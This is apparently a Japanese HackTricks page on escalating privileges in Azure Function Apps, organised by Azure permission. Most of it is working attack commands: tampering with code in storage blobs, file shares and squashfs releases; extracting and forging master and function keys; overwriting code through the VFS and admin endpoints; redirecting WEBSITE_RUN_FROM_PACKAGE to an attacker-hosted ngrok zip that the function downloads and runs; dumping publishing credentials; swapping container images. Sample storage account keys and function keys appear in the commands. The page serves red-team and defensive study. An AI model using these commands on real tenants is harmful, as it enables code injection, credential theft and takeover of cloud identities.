Az - Functions App Privesc
Reading time: 22 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Function Apps
詳細については、以下のページを確認してください:
バケットの読み取り/書き込み
関数データを保存するストレージアカウント内のコンテナを読み取る権限があれば、異なるコンテナ(カスタムまたは事前定義された名前のもの)を見つけることができ、関数によって実行されるコードが含まれている可能性があります。
関数のコードがどこにあるかを見つけたら、それに対する書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
とWEBSITE_CONTENTSHARE
)
関数のコードは通常、ファイル共有内に保存されます。十分なアクセス権があれば、コードファイルを変更して関数に任意のコードを読み込ませることができ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
このデプロイメント方法は通常、WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
と WEBSITE_CONTENTSHARE
の設定を構成します。これらは次のように取得できます。
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
これらの設定には、Functionがコードにアクセスするために使用できるStorage Account Keyが含まれます。
caution
ファイル共有に接続してスクリプトを変更するのに十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
以下の例ではmacOSを使用してファイル共有に接続しますが、ファイル共有に関する詳細情報については、次のページも確認することをお勧めします:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
関数アプリが使用しているストレージアカウントコンテナのフォルダ function-releases
内に zipリリース が見つかることも一般的です。このコンテナは 通常 function-releases
と呼ばれます。
通常、このデプロイメント方法は次の場所に WEBSITE_RUN_FROM_PACKAGE
設定を行います:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
この設定には通常、ストレージアカウントからコードをダウンロードするためのSAS URLが含まれます。
caution
コードがzip形式で含まれているBlobコンテナに接続するための十分な権限があれば、関数内で任意のコードを実行し、特権を昇格させることが可能です。
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
前のケースと同様に、デプロイがGithub Actionsを介して行われる場合、ストレージアカウント内にコードのzipとWEBSITE_RUN_FROM_PACKAGE
設定内のzipへのSAS URLを含む**github-actions-deploy
**フォルダを見つけることができます。
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
およびWEBSITE_CONTENTSHARE
)
ストレージアカウント内の関数データを格納するコンテナを読み取る権限があれば、scm-releases
コンテナを見つけることができます。そこにはSquashfsファイルシステムファイル形式の最新リリースがあり、したがって関数のコードを読むことが可能です。
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
マスターおよび関数キーは、JSONファイルの中にある**<app-name>
フォルダー内のコンテナazure-webjobs-secrets
**に保存されていることもあります。
caution
zip拡張子のファイル(実際には**squashfs
**)にコードが含まれているブロブコンテナに接続するための十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
この権限は、指定された関数の関数キー、マスターキー、およびシステムキーをリストすることを許可しますが、ホストキーは含まれません。
az functionapp keys list --resource-group <res_group> --name <func-name>
マスターキーを使用すると、次のようなURLでソースコードを取得することも可能です:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
関数で実行されているコードを変更するには:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
この権限は、指定された関数のホストキーを取得することを許可します:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
この権限は、指定された関数の関数キーを作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
この権限は、指定された関数にマスターキーを作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
このキーを使用すると、前述のようにソースコードにアクセスして変更することもできることを忘れないでください!
Microsoft.Web/sites/host/systemKeys/write
この権限は、指定された関数にシステム関数キーを作成/更新することを許可します。
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
この権限は、関数の設定を取得することを許可します。これらの設定の中には、AzureWebJobsStorage
または WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
のデフォルト値を見つけることができるかもしれません。これには、完全な権限で関数のブロブストレージにアクセスするためのアカウントキーが含まれています。
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
さらに、この権限により、SCM ユーザー名とパスワード(有効な場合)を取得することもできます。
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
これらの権限は、以前に見たように関数の設定値をリストすることを許可し、さらにこれらの値を変更することを許可します。これは、これらの設定が関数内で実行するコードの場所を示すため、便利です。
したがって、ウェブアプリケーション内で実行する新しいコードを含むURL zipファイルを指す設定の値**WEBSITE_RUN_FROM_PACKAGE
**を設定することが可能です:
- 現在の設定を取得することから始めます。
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- 実行したいコードを作成し、公開ホスティングします。
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- 関数を修正し、以前のパラメータを保持し、最後にコードを含むzipのURLを指す設定**
WEBSITE_RUN_FROM_PACKAGE
**を追加します。
以下は私の設定の例で、あなたの値に変更する必要があります。最後に値"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
があり、ここがアプリをホスティングしていた場所です。
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
この権限を持つことで、ウェブコンソールを通じてアプリケーションのコードを変更することが可能です(または次のAPIエンドポイントを通じて):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
この権限は、基本的に基本認証資格情報を含むすべての公開プロファイルをリストすることを許可します:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
別のオプションは、自分のクレデンシャルを設定し、それを使用することです:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- REDACTEDの資格情報
その資格情報がREDACTEDである場合、それはSCM基本認証オプションを有効にする必要があるためであり、そのためには2番目の権限(Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:
)が必要です。
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
次に、これらの基本認証資格情報を使用して、関数アプリのSCM URLにアクセスし、環境変数の値を取得できます:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Note that the SCM username is usually the char "$" followed by the name of the app, so: $<app-name>
.
You can also access the web page from https://<app-name>.scm.azurewebsites.net/BasicAuth
設定値には、関数アプリのデータを保存しているストレージアカウントのAccountKeyが含まれており、そのストレージアカウントを制御することができます。
- Method FTP
FTPサーバーに接続するには:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
注意してください、FTPユーザー名は通常<app-name>\$<app-name>の形式です。
Microsoft.Web/sites/hostruntime/vfs/read
この権限は、VFSを通じてアプリのソースコードを読み取ることを許可します:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
この権限を使用すると、管理トークンを取得でき、これを使用してマスターキーを取得し、関数のコードにアクセスして変更することができます。
ただし、私の最近の確認ではトークンは返されなかったため、無効になっているか、もはや機能していない可能性がありますが、以下がその方法です:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
この権限は、無効になっている可能性のある関数を有効にする(または無効にする)ことを許可します。
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
次のURLで関数が有効か無効かを確認することも可能です(括弧内の権限を使用):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
これらの権限を持つことで、コンテナを実行するように設定された関数アプリによって実行されるコンテナを変更することが可能です。これにより、攻撃者は悪意のある Azure 関数コンテナアプリを Docker Hub にアップロードし(例えば)、その関数を実行させることができます。
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
これらの権限があれば、関数に新しいユーザー管理アイデンティティをアタッチすることが可能です。関数が侵害された場合、これにより任意のユーザー管理アイデンティティへの権限昇格が可能になります。
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
リモートデバッグ
実行中の Azure 関数に接続してデバッグすることも可能です、ドキュメントで説明されているように。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合に備えて、Azure はこのオプションを 2 日後にオフにします。
デバッグが有効になっているかどうかを確認するには、次のコマンドを使用します:
az functionapp show --name <app-name> --resource-group <res-group>
Microsoft.Web/sites/config/write
の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは、Microsoft.Web/sites/config/list/action
、Microsoft.Web/sites/config/Read
、および Microsoft.Web/sites/Read
の権限も必要です)。
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Change Github repo
Githubリポジトリを変更するために、以下のコマンドを実行しましたが、変更されたとしても、新しいコードは読み込まれませんでした(おそらくGithub Actionがコードを更新することを期待しているためです)。
さらに、マネージドIDのフェデレーテッドクレデンシャルが新しいリポジトリを許可するように更新されていませんでしたので、あまり役に立たないようです。
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。